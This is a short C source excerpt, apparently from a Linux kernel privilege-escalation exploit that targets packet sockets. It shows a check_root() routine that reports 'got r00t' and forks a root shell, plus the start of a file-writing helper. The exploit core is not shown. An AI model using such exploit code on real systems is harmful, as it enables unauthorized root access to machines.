| 311 | } |
| 312 | |
| 313 | void check_root() { |
| 314 | printf("[.] checking if we got root\n"); |
| 315 | |
| 316 | if (!is_root()) { |
| 317 | printf("[-] something went wrong =(\n"); |
| 318 | return; |
| 319 | } |
| 320 | |
| 321 | printf("[+] got r00t ^_^\n"); |
| 322 | |
| 323 | // Fork and exec instead of just doing the exec to avoid potential |
| 324 | // memory corruptions when closing packet sockets. |
| 325 | fork_shell(); |
| 326 | // exec_shell(); |
| 327 | } |
| 328 | |
| 329 | bool write_file(const char* file, const char* what, ...) { |
| 330 | char buf[1024]; |
no test coverage detected